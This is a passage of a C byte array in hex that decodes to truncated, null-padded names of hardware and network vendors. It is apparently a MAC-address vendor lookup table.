0x00,\r\n0x43, 0x75, 0x62, 0x69, 0x63, 0x54, 0x72, 0x61,\r\n0x43, 0x6f, 0x6d, 0x6d, 0x65, 0x6e, 0x64, 0x49,\r\n0x43, 0x69, 0x74, 0x69, 0x7a, 0x65, 0x6e, 0x57,\r\n0x42, 0x74, 0x75, 0x49, 0x6e, 0x74, 0x65, 0x72,\r\n0x41, 0x69, 0x6c, 0x6f, 0x63, 0x6f, 0x6d, 0x4f,\r\n0x54, 0x72, 0x69, 0x54, 0x65, 0x72, 0x6d, 0x00,\r\n0x53, 0x74, 0x61, 0x72, 0x53, 0x65, 0x6d, 0x69,\r\n0x53, 0x61, 0x6c, 0x6c, 0x61, 0x6e, 0x64, 0x45,\r\n0x55, 0x6e, 0x69, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x52, 0x6f, 0x75, 0x6e, 0x64, 0x00, 0x00, 0x00,\r\n0x41, 0x75, 0x74, 0x6f, 0x63, 0x65, 0x6c, 0x6c,\r\n0x50, 0x72, 0x65, 0x6d, 0x69, 0x65, 0x72, 0x54,\r\n0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x53,\r\n0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x48,\r\n0x4d, 0x65, 0x64, 0x69, 0x6f, 0x6e, 0x00, 0x00,\r\n0x4c, 0x65, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4a, 0x61, 0x6d, 0x65, 0x78, 0x00, 0x00, 0x00,\r\n0x49, 0x73, 0x6b, 0x72, 0x61, 0x65, 0x6d, 0x65,\r\n0x49, 0x73, 0x63, 0x75, 0x74, 0x75, 0x6d, 0x00,\r\n0x49, 0x6e, 0x6e, 0x6f, 0x6d, 0x69, 0x6e, 0x61,\r\n0x48, 0x6f, 0x6c, 0x79, 0x53, 0x74, 0x6f, 0x6e,\r\n0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x4f, 0x79,\r\n0x45, 0x61, 0x74, 0x6f, 0x6e, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x6e,\r\n0x42, 0x65, 0x77, 0x61, 0x6e, 0x00, 0x00, 0x00,\r\n0x54, 0x69, 0x70, 0x74, 0x65, 0x6c, 0x00, 0x00,\r\n0x4e, 0x65, 0x78, 0x74, 0x6c, 0x69, 0x6e, 0x6b,\r\n0x4b, 0x61, 0x2d, 0x52, 0x6f, 0x45, 0x6c, 0x65,\r\n0x58, 0x79, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78,\r\n0x49, 0x6c, 0x77, 0x6f, 0x6f, 0x44, 0x61, 0x74,\r\n0x48, 0x67, 0x73, 0x74, 0x41, 0x57, 0x65, 0x73,\r\n0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x43, 0x6f,\r\n0x41, 0x65, 0x72, 0x6f, 0x73, 0x63, 0x6f, 0x75,\r\n0x49, 0x65, 0x63, 0x2d, 0x54, 0x63, 0x35, 0x37,\r\n0x53, 0x79, 0x6d, 0x65, 0x74, 0x72, 0x69, 0x78,\r\n0x53, 0x66, 0x6f, 0x6d, 0x54, 0x65, 0x63, 0x68,\r\n0x53, 0x63, 0x68, 0x61, 0x66, 0x66, 0x6e, 0x65,\r\n0x50, 0x72, 0x65, 0x74, 0x74, 0x6c, 0x45, 0x6c,\r\n0x50, 0x6f, 0x73, 0x69, 0x74, 0x72, 0x6f, 0x6e,\r\n0x50, 0x61, 0x73, 0x73, 0x61, 0x76, 0x65, 0x00,\r\n0x50, 0x61, 0x72, 0x74, 0x6e, 0x65, 0x72, 0x54,\r\n0x4e, 0x61, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x63,\r\n0x4d, 0x4b, 0x4a, 0x75, 0x63, 0x68, 0x68, 0x65,\r\n0x49, 0x74, 0x63, 0x61, 0x72, 0x65, 0x00, 0x00,\r\n0x46, 0x72, 0x65, 0x65, 0x68, 0x61, 0x6e, 0x64,\r\n0x42, 0x65, 0x63, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x41, 0x6f, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x41, 0x62, 0x62, 0x53, 0x74, 0x6f, 0x74, 0x7a,\r\n0x50, 0x75, 0x6c, 0x6e, 0x69, 0x78, 0x41, 0x6d,\r\n0x54, 0x72, 0x65, 0x6b, 0x44, 0x69, 0x61, 0x67,\r\n0x4f, 0x70, 0x65, 0x6e, 0x47, 0x72, 0x6f, 0x75,\r\n0x52, 0x6f, 0x6c, 0x6c, 0x73, 0x2d, 0x52, 0x6f,\r\n0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e,\r\n0x4e, 0x65, 0x75, 0x72, 0x6f, 0x63, 0x6f, 0x6d,\r\n0x4d, 0x65, 0x72, 0x75, 0x4e, 0x65, 0x74, 0x77,\r\n0x42, 0x6c, 0x6f, 0x6f, 0x6d, 0x62, 0x65, 0x72,\r\n0x41, 0x70, 0x68, 0x6f, 0x6e, 0x61, 0x4b, 0x6f,\r\n0x43, 0x6e, 0x6d, 0x70, 0x4e, 0x65, 0x74, 0x77,\r\n0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x61, 0x63,\r\n0x52, 0x65, 0x61, 0x6c, 0x44, 0x69, 0x67, 0x69,\r\n0x4a, 0x70, 0x2d, 0x45, 0x6d, 0x62, 0x65, 0x64,\r\n0x4d, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x47, 0x61, 0x6d, 0x65, 0x73, 0x61, 0x45, 0x00,\r\n0x43, 0x61, 0x6c, 0x6c, 0x49, 0x6d, 0x61, 0x67,\r\n0x41, 0x6b, 0x61, 0x74, 0x73, 0x75, 0x6b, 0x69,\r\n0x49, 0x6e, 0x66, 0x6f, 0x65, 0x78, 0x70, 0x72,\r\n0x53, 0x69, 0x74, 0x65, 0x63, 0x6f, 0x6d, 0x45,\r\n0x58, 0x79, 0x6c, 0x65, 0x6d, 0x57, 0x61, 0x74,\r\n0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x00,\r\n0x4b, 0x6f, 0x72, 0x65, 0x61, 0x4e, 0x65, 0x74,\r\n0x53, 0x32, 0x69, 0x6f, 0x54, 0x65, 0x63, 0x68,\r\n0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x49,\r\n0x47, 0x72, 0x61, 0x6e, 0x64, 0x45, 0x6c, 0x65,\r\n0x4d, 0x72, 0x6f, 0x2d, 0x54, 0x65, 0x6b, 0x00,\r\n0x53, 0x65, 0x61, 0x77, 0x61, 0x79, 0x4e, 0x65,\r\n0x50, 0x26, 0x45, 0x4d, 0x69, 0x63, 0x72, 0x6f,\r\n0x4e, 0x65, 0x63, 0x50, 0x6c, 0x61, 0x74, 0x66,\r\n0x4d, 0x61, 0x74, 0x72, 0x69, 0x63, 0x73, 0x00,\r\n0x46, 0x6f, 0x78, 0x62, 0x6f, 0x72, 0x6f, 0x45,\r\n0x43, 0x6f, 0x6d, 0x70, 0x75, 0x6c, 0x6f, 0x67,\r\n0x43, 0x61, 0x6c, 0x72, 0x65, 0x63, 0x41, 0x75,\r\n0x41, 0x62, 0x6f, 0x76, 0x65, 0x63, 0x61, 0x62,\r\n0x59, 0x75, 0x65, 0x68, 0x75, 0x61, 0x5a, 0x68,\r\n0x50, 0x72, 0x6f, 0x6a, 0x65, 0x63, 0x74, 0x69,\r\n0x4d, 0x64, 0x69, 0x53, 0x65, 0x63, 0x75, 0x72,\r\n0x49, 0x74, 0x73, 0x75, 0x70, 0x70, 0x6f, 0x72,\r\n0x49, 0x6e, 0x71, 0x6e, 0x65, 0x74, 0x00, 0x00,\r\n0x46, 0x69, 0x6e, 0x6c, 0x75, 0x78, 0x00, 0x00,\r\n0x45, 0x6d, 0x62, 0x65, 0x64, 0x74, 0x72, 0x6f,\r\n0x44, 0x65, 0x6e, 0x74, 0x73, 0x70, 0x6c, 0x79,\r\n0x41, 0x78, 0x65, 0x6c, 0x6c, 0x00, 0x00, 0x00,\r\n0x57, 0x69, 0x6c, 0x68, 0x65, 0x6c, 0x6d, 0x52,\r\n0x56, 0x74, 0x65, 0x63, 0x68, 0x49, 0x6e, 0x6e,\r\n0x56, 0x6f, 0x69, 0x70, 0x61, 0x63, 0x53, 0x52,\r\n0x55, 0x68, 0x73, 0x50, 0x74, 0x79, 0x00, 0x00,\r\n0x54, 0x75, 0x72, 0x62, 0x6f, 0x4e, 0x65, 0x74,\r\n0x4d, 0x65, 0x67, 0x61, 0x2d, 0x54, 0x72, 0x65,\r\n0x52, 0x6f, 0x62, 0x65, 0x53, 0x68, 0x6f, 0x77,\r\n0x4d, 0x75, 0x73, 0x74, 0x65, 0x6b, 0x53, 0x79,\r\n0x4b, 0x79, 0x6f, 0x74, 0x6f, 0x45, 0x6c, 0x65,\r\n0x41, 0x6d, 0x65, 0x73, 0x79, 0x73, 0x44, 0x65,\r\n0x48, 0x69, 0x67, 0x68, 0x2d, 0x54, 0x65, 0x6b,\r\n0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x54,\r\n0x41, 0x76, 0x44, 0x69, 0x67, 0x69, 0x74, 0x61,\r\n0x41, 0x73, 0x61, 0x68, 0x69, 0x6b, 0x61, 0x73,\r\n0x57, 0x69, 0x73, 0x63, 0x6f, 0x72, 0x65, 0x00,\r\n0x55, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x69,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x6c,\r\n0x53, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x45, 0x26,\r\n0x53, 0x61, 0x6e, 0x64, 0x65, 0x6e, 0x00, 0x00,\r\n0x50, 0x72, 0x69, 0x6d, 0x61, 0x67, 0x72, 0x61,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x70, 0x6c, 0x65,\r\n0x53, 0x63, 0x61, 0x6e, 0x6d, 0x61, 0x74, 0x69,\r\n0x52, 0x61, 0x63, 0x61, 0x6c, 0x49, 0x6e, 0x73,\r\n0x4e, 0x65, 0x74, 0x32, 0x65, 0x64, 0x67, 0x65,\r\n0x4e, 0x63, 0x74, 0x44, 0x65, 0x75, 0x74, 0x73,\r\n0x41, 0x69, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x54,\r\n0x49, 0x63, 0x65, 0x66, 0x79, 0x72, 0x65, 0x53,\r\n0x43, 0x6f, 0x6d, 0x70, 0x65, 0x6c, 0x6c, 0x65,\r\n0x44, 0x69, 0x73, 0x70, 0x65, 0x6e, 0x73, 0x65,\r\n0x50, 0x72, 0x65, 0x64, 0x69, 0x77, 0x61, 0x76,\r\n0x53, 0x68, 0x65, 0x6c, 0x6c, 0x49, 0x6e, 0x74,\r\n0x57, 0x75, 0x48, 0x61, 0x6e, 0x52, 0x6f, 0x75,\r\n0x57, 0x69, 0x70, 0x6c, 0x75, 0x67, 0x00, 0x00,\r\n0x4e, 0x69, 0x73, 0x73, 0x69, 0x6e, 0x00, 0x00,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x65, 0x6c, 0x65,\r\n0x49, 0x54, 0x65, 0x63, 0x68, 0x44, 0x79, 0x6e,\r\n0x48, 0x61, 0x6d, 0x6d, 0x65, 0x72, 0x68, 0x65,\r\n0x41, 0x70, 0x6c, 0x75, 0x78, 0x43, 0x6f, 0x6d,\r\n0x56, 0x74, 0x69, 0x49, 0x6e, 0x73, 0x74, 0x72,\r\n0x56, 0x65, 0x72, 0x69, 0x6e, 0x74, 0x4c, 0x6f,\r\n0x4e, 0x65, 0x77, 0x62, 0x65, 0x73, 0x74, 0x44,\r\n0x44, 0x72, 0x73, 0x54, 0x61, 0x63, 0x74, 0x69,\r\n0x41, 0x75, 0x64, 0x69, 0x6f, 0x42, 0x75, 0x2d,\r\n0x54, 0x6f, 0x74, 0x74, 0x6f, 0x72, 0x69, 0x53,\r\n0x50, 0x61, 0x72, 0x6b, 0x65, 0x72, 0x53, 0x73,\r\n0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x78, 0x00, 0x00,\r\n0x41, 0x65, 0x77, 0x69, 0x6e, 0x54, 0x65, 0x63,\r\n0x54, 0x72, 0x69, 0x74, 0x6f, 0x6e, 0x4f, 0x66,\r\n0x53, 0x74, 0x65, 0x61, 0x67, 0x45, 0x74, 0x61,\r\n0x52, 0x6f, 0x6b, 0x75, 0x00, 0x00, 0x00, 0x00,\r\n0x4f, 0x75, 0x74, 0x6c, 0x69, 0x6e, 0x65, 0x45,\r\n0x4e, 0x69, 0x6e, 0x65, 0x6c, 0x61, 0x6e, 0x65,\r\n0x4e, 0x64, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4b, 0x65, 0x6e, 0x77, 0x6f, 0x6f, 0x64, 0x00,\r\n0x47, 0x61, 0x6c, 0x61, 0x7a, 0x61, 0x72, 0x4e,\r\n0x44, 0x69, 0x76, 0x72, 0x00, 0x00, 0x00, 0x00,\r\n0x43, 0x6f, 0x6d, 0x61, 0x72, 0x74, 0x53, 0x79,\r\n0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x35,\r\n0x53, 0x61, 0x6e, 0x79, 0x63, 0x6f, 0x6d, 0x54,\r\n0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x49,\r\n0x41, 0x6d, 0x69, 0x74, 0x79, 0x00, 0x00, 0x00,\r\n0x54, 0x69, 0x65, 0x73, 0x73, 0x65, 0x00, 0x00,\r\n0x53, 0x6d, 0x61, 0x72, 0x74, 0x45, 0x6d, 0x70,\r\n0x52, 0x6f, 0x62, 0x65, 0x72, 0x74, 0x42, 0x6f,\r\n0x52, 0x61, 0x72, 0x69, 0x74, 0x61, 0x6e, 0x43,\r\n0x4e, 0x65, 0x63, 0x50, 0x65, 0x72, 0x73, 0x6f,\r\n0x4d, 0x69, 0x6e, 0x64, 0x73, 0x00, 0x00, 0x00,\r\n0x47, 0x69, 0x67, 0x61, 0x2d, 0x42, 0x79, 0x74,\r\n0x46, 0x75, 0x6e, 0x6b, 0x77, 0x65, 0x72, 0x6b,\r\n0x44, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x74,\r\n0x43, 0x6f, 0x6d, 0x61, 0x67, 0x48, 0x61, 0x6e,\r\n0x56, 0x69, 0x6e, 0x63, 0x69, 0x00, 0x00, 0x00,\r\n0x54, 0x6d, 0x74, 0x26, 0x44, 0x00, 0x00, 0x00,\r\n0x52, 0x65, 0x64, 0x77, 0x6f, 0x6f, 0x64, 0x54,\r\n0x4d, 0x69, 0x74, 0x61, 0x2d, 0x54, 0x65, 0x6b,\r\n0x4d, 0x2d, 0x41, 0x75, 0x64, 0x69, 0x6f, 0x00,\r\n0x4b, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x44, 0x65,\r\n0x4b, 0x2d, 0x50, 0x61, 0x74, 0x65, 0x6e, 0x74,\r\n0x45, 0x6d, 0x62, 0x65, 0x72, 0x00, 0x00, 0x00,\r\n0x44, 0x61, 0x74, 0x61, 0x6d, 0x61, 0x78, 0x00,\r\n0x42, 0x6f, 0x63, 0x61, 0x00, 0x00, 0x00, 0x00,\r\n0x32, 0x77, 0x69, 0x72, 0x65, 0x00, 0x00, 0x00,\r\n0x53, 0x61, 0x6e, 0x64, 0x4e, 0x65, 0x74, 0x77,\r\n0x4b, 0x6f, 0x62, 0x69, 0x61, 0x6e, 0x50, 0x74,\r\n0x48, 0x6f, 0x6b, 0x75, 0x74, 0x6f, 0x44, 0x65,\r\n0x46, 0x61, 0x6c, 0x63, 0x6f, 0x6e, 0x73, 0x74,\r\n0x45, 0x6e, 0x67, 0x69, 0x6e, 0x65, 0x65, 0x72,\r\n0x44, 0x79, 0x6e, 0x61, 0x6d, 0x69, 0x63, 0x53,\r\n0x44, 0x69, 0x67, 0x61, 0x74, 0x74, 0x6f, 0x41,\r\n0x43, 0x6f, 0x6e, 0x73, 0x65, 0x6e, 0x73, 0x79,\r\n0x43, 0x6f, 0x64, 0x69, 0x61, 0x6e, 0x00, 0x00,\r\n0x41, 0x66, 0x63, 0x6f, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x78, 0x69, 0x6f, 0x77, 0x61, 0x76, 0x65,\r\n0x4d, 0x69, 0x64, 0x61, 0x73, 0x43, 0x6f, 0x6d,\r\n0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x44, 0x65,\r\n0x50, 0x65, 0x70, 0x70, 0x65, 0x72, 0x6c, 0x2b,\r\n0x50, 0x68, 0x73, 0x6e, 0x65, 0x74, 0x53, 0x72,\r\n0x53, 0x61, 0x6e, 0x6d, 0x69, 0x6e, 0x61, 0x2d,\r\n0x4d, 0x61, 0x6b, 0x75, 0x73, 0x00, 0x00, 0x00,\r\n0x54, 0x61, 0x70, 0x77, 0x61, 0x76, 0x65, 0x00,\r\n0x48, 0x75, 0x62, 0x65, 0x72, 0x2b, 0x53, 0x75,\r\n0x42, 0x69, 0x6c, 0x73, 0x54, 0x65, 0x63, 0x68,\r\n0x57, 0x69, 0x6e, 0x6e, 0x65, 0x72, 0x73, 0x45,\r\n0x54, 0x26, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x54,\r\n0x4b, 0x6f, 0x64, 0x65, 0x6e, 0x45, 0x6c, 0x65,\r\n0x4b, 0x69, 0x6e, 0x67, 0x54, 0x73, 0x75, 0x73,\r\n0x46, 0x61, 0x63, 0x74, 0x75, 0x6d, 0x45, 0x6c,\r\n0x45, 0x63, 0x6c, 0x69, 0x70, 0x73, 0x65, 0x48,\r\n0x41, 0x66, 0x61, 0x72, 0x43, 0x6f, 0x6d, 0x6d,\r\n0x4f, 0x70, 0x74, 0x69, 0x2d, 0x43, 0x65, 0x6c,\r\n0x56, 0x74, 0x65, 0x72, 0x61, 0x54, 0x65, 0x63,\r\n0x41, 0x62, 0x62, 0x2f, 0x54, 0x72, 0x6f, 0x70,\r\n0x53, 0x57, 0x41, 0x43, 0x53, 0x63, 0x68, 0x6d,\r\n0x4f, 0x72, 0x62, 0x69, 0x74, 0x61, 0x6c, 0x53,\r\n0x49, 0x6e, 0x66, 0x6f, 0x74, 0x65, 0x63, 0x00,\r\n0x48, 0x65, 0x72, 0x61, 0x65, 0x75, 0x73, 0x45,\r\n0x45, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00, 0x00,\r\n0x54, 0x6f, 0x6b, 0x75, 0x64, 0x65, 0x6e, 0x4f,\r\n0x52, 0x66, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x44,\r\n0x4e, 0x65, 0x64, 0x61, 0x70, 0x4e, 0x56, 0x00,\r\n0x4d, 0x69, 0x72, 0x61, 0x65, 0x49, 0x74, 0x73,\r\n0x49, 0x6e, 0x66, 0x72, 0x61, 0x6e, 0x74, 0x54,\r\n0x45, 0x6d, 0x65, 0x72, 0x67, 0x69, 0x6e, 0x67,\r\n0x44, 0x6f, 0x73, 0x63, 0x68, 0x41, 0x6d, 0x61,\r\n0x46, 0x61, 0x62, 0x72, 0x69, 0x63, 0x37, 0x00,\r\n0x54, 0x65, 0x6c, 0x65, 0x74, 0x72, 0x6f, 0x6e,\r\n0x54, 0x45, 0x41, 0x4d, 0x53, 0x4c, 0x00, 0x00,\r\n0x53, 0x41, 0x54, 0x65, 0x68, 0x6e, 0x6f, 0x6c,\r\n0x50, 0x61, 0x72, 0x6b, 0x65, 0x72, 0x48, 0x61,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x43, 0x62, 0x6d,\r\n0x44, 0x61, 0x74, 0x61, 0x70, 0x72, 0x6f, 0x62,\r\n0x53, 0x61, 0x6d, 0x73, 0x75, 0x6e, 0x67, 0x48,\r\n0x50, 0x6c, 0x65, 0x78, 0x75, 0x73, 0x55, 0x6b,\r\n0x4f, 0x6c, 0x79, 0x6d, 0x2d, 0x54, 0x65, 0x63,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x4e, 0x65, 0x74,\r\n0x41, 0x6d, 0x6d, 0x61, 0x73, 0x73, 0x6f, 0x00,\r\n0x53, 0x64, 0x6f, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x4e, 0x65, 0x74, 0x61, 0x73, 0x71, 0x00, 0x00,\r\n0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x73, 0x61,\r\n0x53, 0x63, 0x68, 0x69, 0x6c, 0x6c, 0x65, 0x72,\r\n0x50, 0x63, 0x45, 0x6e, 0x67, 0x69, 0x6e, 0x65,\r\n0x4f, 0x63, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x00,\r\n0x42, 0x65, 0x6c, 0x46, 0x75, 0x73, 0x65, 0x45,\r\n0x54, 0x65, 0x6b, 0x74, 0x6f, 0x6e, 0x65, 0x53,\r\n0x53, 0x70, 0x61, 0x67, 0x61, 0x74, 0x41, 0x73,\r\n0x53, 0x61, 0x66, 0x65, 0x77, 0x65, 0x62, 0x00,\r\n0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6d,\r\n0x45, 0x6d, 0x63, 0x6f, 0x72, 0x65, 0x00, 0x00,\r\n0x45, 0x63, 0x68, 0x6f, 0x73, 0x74, 0x61, 0x72,\r\n0x44, 0x69, 0x67, 0x69, 0x72, 0x6f, 0x73, 0x65,\r\n0x43, 0x6f, 0x73, 0x6d, 0x69, 0x63, 0x45, 0x6e,\r\n0x41, 0x69, 0x72, 0x6d, 0x61, 0x67, 0x6e, 0x65,\r\n0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x45, 0x6c,\r\n0x54, 0x61, 0x69, 0x74, 0x45, 0x6c, 0x65, 0x63,\r\n0x50, 0x65, 0x74, 0x63, 0x6f, 0x6d, 0x6b, 0x6f,\r\n0x4e, 0x65, 0x6f, 0x73, 0x6d, 0x61, 0x72, 0x74,\r\n0x47, 0x72, 0x6f, 0x75, 0x70, 0x65, 0x54, 0x78,\r\n0x44, 0x79, 0x6e, 0x61, 0x76, 0x61, 0x63, 0x54,\r\n0x43, 0x69, 0x64, 0x72, 0x61, 0x00, 0x00, 0x00,\r\n0x54, 0x65, 0x74, 0x72, 0x61, 0x74, 0x65, 0x63,\r\n0x53, 0x74, 0x72, 0x79, 0x6b, 0x65, 0x72, 0x00,\r\n0x53, 0x69, 0x6d, 0x72, 0x61, 0x64, 0x4f, 0x70,\r\n0x53, 0x61, 0x6d, 0x77, 0x6f, 0x6f, 0x54, 0x65,\r\n0x53, 0x79, 0x6d, 0x61, 0x6e, 0x74, 0x65, 0x63,\r\n0x4f, 0x52, 0x69, 0x74, 0x65, 0x54, 0x65, 0x63,\r\n0x49, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x42, 0x72, 0x69, 0x67, 0x68, 0x74, 0x00, 0x00,\r\n0x42, 0x62, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x6e, 0x74, 0x6f, 0x6e, 0x50, 0x61, 0x61,\r\n0x41, 0x69, 0x72, 0x77, 0x61, 0x76, 0x65, 0x54,\r\n0x56, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x6f, 0x54,\r\n0x4a, 0x6f, 0x79, 0x74, 0x65, 0x63, 0x6b, 0x00,\r\n0x4a, 0x61, 0x70, 0x61, 0x6e, 0x49, 0x6d, 0x61,\r\n0x49, 0x63, 0x70, 0x64, 0x61, 0x73, 0x00, 0x00,\r\n0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x50,\r\n0x43, 0x6d, 0x7a, 0x53, 0x69, 0x73, 0x74, 0x65,\r\n0x41, 0x74, 0x53, 0x77, 0x65, 0x64, 0x65, 0x6e,\r\n0x44, 0x69, 0x67, 0x69, 0x6e, 0x69, 0x63, 0x73,\r\n0x59, 0x6f, 0x75, 0x6e, 0x67, 0x62, 0x6f, 0x45,\r\n0x53, 0x6e, 0x61, 0x70, 0x2d, 0x4f, 0x6e, 0x4f,\r\n0x4e, 0x61, 0x73, 0x61, 0x63, 0x6f, 0x45, 0x6c,\r\n0x4e, 0x61, 0x70, 0x61, 0x74, 0x65, 0x63, 0x68,\r\n0x4b, 0x69, 0x6e, 0x67, 0x74, 0x65, 0x6c, 0x54,\r\n0x43, 0x6f, 0x6d, 0x70, 0x78, 0x73, 0x00, 0x00,\r\n0x41, 0x6e, 0x64, 0x72, 0x65, 0x77, 0x52, 0x66,\r\n0x53, 0x6f, 0x63, 0x43, 0x6f, 0x6f, 0x70, 0x42,\r\n0x51, 0x63, 0x6f, 0x6d, 0x54, 0x65, 0x63, 0x68,\r\n0x49, 0x6f, 0x6e, 0x69, 0x78, 0x00, 0x00, 0x00,\r\n0x41, 0x73, 0x6d, 0x61, 0x78, 0x53, 0x6f, 0x6c,\r\n0x57, 0x61, 0x74, 0x65, 0x72, 0x74, 0x65, 0x6b,\r\n0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6c, 0x6f,\r\n0x53, 0x70, 0x61, 0x63, 0x65, 0x44, 0x79, 0x6e,\r\n0x4f, 0x72, 0x67, 0x61, 0x4b, 0x61, 0x72, 0x74,\r\n0x4e, 0x64, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x4d, 0x69, 0x63, 0x72, 0x6f, 0x43, 0x6f, 0x6e,\r\n0x4b, 0x6f, 0x6d, 0x61, 0x78, 0x00, 0x00, 0x00,\r\n0x49, 0x74, 0x66, 0x6f, 0x72, 0x00, 0x00, 0x00,\r\n0x48, 0x75, 0x67, 0x65, 0x73, 0x48, 0x69, 0x2d,\r\n0x48, 0x61, 0x75, 0x70, 0x70, 0x61, 0x75, 0x67,\r\n0x43, 0x68, 0x65, 0x6e, 0x6d, 0x69, 0x6e, 0x67,\r\n0x41, 0x74, 0x72, 0x69, 0x65, 0x00, 0x00, 0x00,\r\n0x41, 0x73, 0x69, 0x70, 0x54, 0x65, 0x63, 0x68,\r\n0x43, 0x6d, 0x61, 0x2f, 0x4d, 0x69, 0x63, 0x72,\r\n0x54, 0x65, 0x61, 0x6d, 0x53, 0x69, 0x6d, 0x6f,\r\n0x53, 0x61, 0x6b, 0x75, 0x6d, 0x61, 0x44, 0x65,\r\n0x4e, 0x65, 0x74, 0x61, 0x63, 0x54, 0x65, 0x63,\r\n0x48, 0x65, 0x73, 0x63, 0x68, 0x53, 0x63, 0x68,\r\n0x45, 0x73, 0x61, 0x45, 0x6c, 0x65, 0x74, 0x74,\r\n0x45, 0x72, 0x6d, 0x6d, 0x65, 0x00, 0x00, 0x00,\r\n0x43, 0x2d, 0x47, 0x75, 0x79, 0x73, 0x00, 0x00,\r\n0x42, 0x64, 0x74, 0x42, 0x72, 0x6f, 0x55, 0x00,\r\n0x41, 0x64, 0x61, 0x70, 0x74, 0x69, 0x76, 0x65,\r\n0x41, 0x63, 0x63, 0x75, 0x2d, 0x53, 0x6f, 0x72,\r\n0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x61, 0x72,\r\n0x54, 0x61, 0x64, 0x6c, 0x79, 0x73, 0x00, 0x00,\r\n0x53, 0x6f, 0x75, 0x74, 0x68, 0x77, 0x69, 0x6e,\r\n0x4d, 0x79, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e,\r\n0x4c, 0x6f, 0x67, 0x69, 0x63, 0x61, 0x63, 0x6d,\r\n0x4a, 0x70, 0x73, 0x43, 0x6f, 0x6d, 0x6d, 0x75,\r\n0x49, 0x61, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n0x48, 0x61, 0x63, 0x68, 0x00, 0x00, 0x00, 0x00,\r\n0x41, 0x72, 0x69, 0x6f, 0x6e, 0x54, 0x65, 0x63,\r\n0x51, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x00, 0x00,\r\n0x54, 0x63, 0x6c, 0x4e, 0x65, 0x74, 0x77, 0x6f,\r\n0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x41, 0x6d,\r\n0x4d, 0x74, 0x75, 0x46, 0x72, 0x69, 0x65, 0x64,\r\n0x49, 0x6e, 0x63, 0x69, 0x70, 0x69, 0x65, 0x6e,\r\n0x48, 0x75, 0x77, 0x65, 0x6c, 0x6c, 0x54, 0x65,\r\n0x48, 0x61, 0x6e, 0x6e, 0x61, 0x65, 0x54, 0x65,\r\n0x47, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x54, 0x65,\r\n0x43, 0x72, 0x65, 0x72, 0x65, 0x4e, 0x65, 0x74,\r\n0x44, 0x79, 0x6e, 0x61, 0x6d, 0x69, 0x63, 0x52,\r\n0x53, 0x68, 0x65, 0x73, 0x74, 0x65, 0x72, 0x43,\r\n0x53, 0x61, 0x66, 0x61, 0x72, 0x69, 0x54, 0x65,\r\n0x4e, 0x65, 0x74, 0x63, 0x6f, 0x64, 0x65, 0x63,\r\n0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x44,\r\n0x45, 0x64, 0x69, 0x6d, 0x61, 0x78, 0x54, 0x65,\r\n0x52, 0x6f, 0x63, 0x68, 0x65, 0x44, 0x69, 0x61,\r\n0x41, 0x65, 0x72, 0x61, 0x73, 0x4e, 0x65, 0x74,\r\n0x4f, 0x6c, 0x79, 0x6d, 0x70, 0x75, 0x73, 0x53,\r\n0x4b, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 